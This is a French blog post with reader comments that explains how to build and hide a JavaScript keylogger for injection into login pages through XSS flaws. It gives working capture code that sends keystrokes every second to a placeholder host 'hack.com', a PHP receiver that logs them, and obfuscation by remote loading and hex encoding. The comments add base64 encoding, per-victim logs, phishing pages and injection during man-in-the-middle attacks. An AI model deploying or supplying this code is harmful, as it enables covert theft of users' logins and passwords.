Un keylogger en Javascript
Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.
L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.
Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.
Un keylogger en Javascript
Voici un exemple de keylogger écrit en JavaScript :
<script language="javascript"> var keys=''; document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCode:get.charCode; key = String.fromCharCode(key); keys+=key; } window.setInterval(function(){ new Image().src = 'http://hack.com/keylogger.php?c='+keys; keys = ''; }, 1000); </script>
Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.
Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :
<?php if(!empty($_GET['c'])) { $f=fopen("log.txt","a+"); fwrite($f,$_GET['c']); fclose($f); } ?>
Dissimulation du keylogger
Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :
<script language="javascript" src="http://hack.com/javascript.js"></script>
On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :
<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>
16 Commentaires pour "Un keylogger en Javascript"
Flux des commentaires de cet article Ajouter un commentaireTu peux également encoder ton script en base64 et le coller directement dans le HTML
Super comme astuce! maintenant tout les petits merdeux de 15ans vont pouvoir foutre ca sur leur page perso
oui mais bon sa sert a rien...
sa enverra les touches pressés en ayant le site ouvert à l'écran...
c'est pas un programme qui tourne en arrière plan..
je trouve ça avant fort et je n'y avais pas pensé.
C'est pas le problème des gens qui le mettent sur leur site, mais, comme indiqué, plutôt de ceux qui l'injecte via une faille XSS. Si il est injecté et que quelqu'un rentre son loggin/pass sur la page, le méchant connaitra le loggin/pass!
Ca mériterait un fichier par IP ou par je sais pas quoi... Car là avec des connexions concurrentes, le fichier txt va vite devenir un bordel qui n'aura servi à rien :p
@bourvill : à condition que le morveux en question trouve une faille XSS et sache l'exploiter correctement. C'est pas donné à tout le monde ...
@Bastien : j'ai pas poussé le concept jusqu'au bout. Mais effectivement, si une url avec une faille XSS est envoyée à beaucoup de monde, le fichier collectera beaucoup trop de caractères. Le mieux est peut-être la personnalisation du script JavaScript pour chaque victime, afin de séparer les fichiers de logs.
Salut
Ce genre de script est assez utilisé pour des trucs un peut moins pernicieux, comme les sésames. Quand j'étais plus jeune, une script de keylogging scrutait les combinaisons de touches, si une séquence était détectée, alors celui qui l'avait tappée entrait sur une page spéciale - et cachée -
Enfin, ca a le mérite de faire une petite note underground pour ameuter les curieux !
plusplus
L'astuce est déjà connue, mais il est toujours bon d'informer les utilisateurs ! Et @bourvill faut juste pas perdre son temps sur le site de "petits merdeux de 15ans". Enfin souvant on rigole bien à voir le super site des jailbreakers de "Polly Pocket" en culotte courte
Il est possible d'avoir ce système en mode persistant : XSS Shell. Du moins tant qu'on continue de naviguer
Ce système va même jusqu'à créer un proxy pour surfer de son poste avec les droits de la victime.
Quand à trouver des failles XSS, pas besoin de s'embêter puisqu'on nous les sert sur un plateau sur le site XSSed
On pourrait aussi noter que ce code peut être exploité sans injection avec une page piégée (moins intéressant bien sur). Il suffit d'utiliser sa propre page Web (de petit morveux qui se respecte), d'implémenter le code javascript avec en plus ce petit bout de php tout bête qui récupère le code source d'une page web victime : echo file_get_contents(url). On affiche donc une page web choisie chez la victime et qui sera "écoutée" chez le hacker.
(maquillage et diffusion de l'url-piégée oblige). Solution maintes fois exploitée.
Faut il que la fenetre web soit active ou juste affichée pour que le keylogger fonctionne ?
@Tuxicoman : pour que javascript fonctionne, je pense qu'il faut qu'elle soit active. Ce serait trop facile sinon, cela permettrait de loger tous ce qui est saisie en dehors du navigateur.
@zeojex :
lol qui ne sait pas sa ^^
merci amis Pour le Code , Permet moi de poser un question est ce qu'il est possible
de faire un Keylogger Qui enregister tous les keys Pressez Lorsque la page s'execute
@xulandrix : Des ptits morveux
t'injectes ça pendant un MITM, c'est propre aussi :v